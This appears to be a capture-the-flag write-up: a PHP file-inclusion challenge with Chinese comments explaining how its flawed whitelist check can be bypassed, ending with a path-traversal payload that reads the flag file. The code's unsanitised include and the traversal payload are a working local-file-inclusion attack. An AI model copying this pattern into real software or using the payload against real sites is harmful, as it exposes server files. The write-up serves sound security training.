<?php
//显示该文件
highlight_file(__FILE__);
//该文件定义了一个类emmm,里面定义了一个checkFile静态方法,用变量page接收
//(接收的是自己请求的file)
class emmm
{
public static function checkFile(&$page)
{
//白名单,看看hint.php,里面给了文件名(ffffllllaaaagggg),要请求的就是这个
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//文件名存在且为字符串,不然返回false
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//文件要存在于白名单中,source.php和hint.php都可以
if (in_array($page, $whitelist)) {
return true;
}
//截取请求的字符串,用?截取,但是它多余拼接了一个?,请求时自己再加一个才对
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//url解码后再过一遍(截取,判断是否在白名单中)
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//如果:1.请求的文件存在2.为字符串3.被上面方法(checkFile)核查后返回值为true
//就包含有答案的文件并结束,这时候我们就可以查看ffffllllaaaagggg文件了
//(不知道这个文件的路径,用../../../../../../../../../../../ffffllllaaaagggg)
//不然放滑稽表情包
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
?file=hint.php?../../../../../../../../ffffllllaaaagggg
5899

被折叠的 条评论
为什么被折叠?



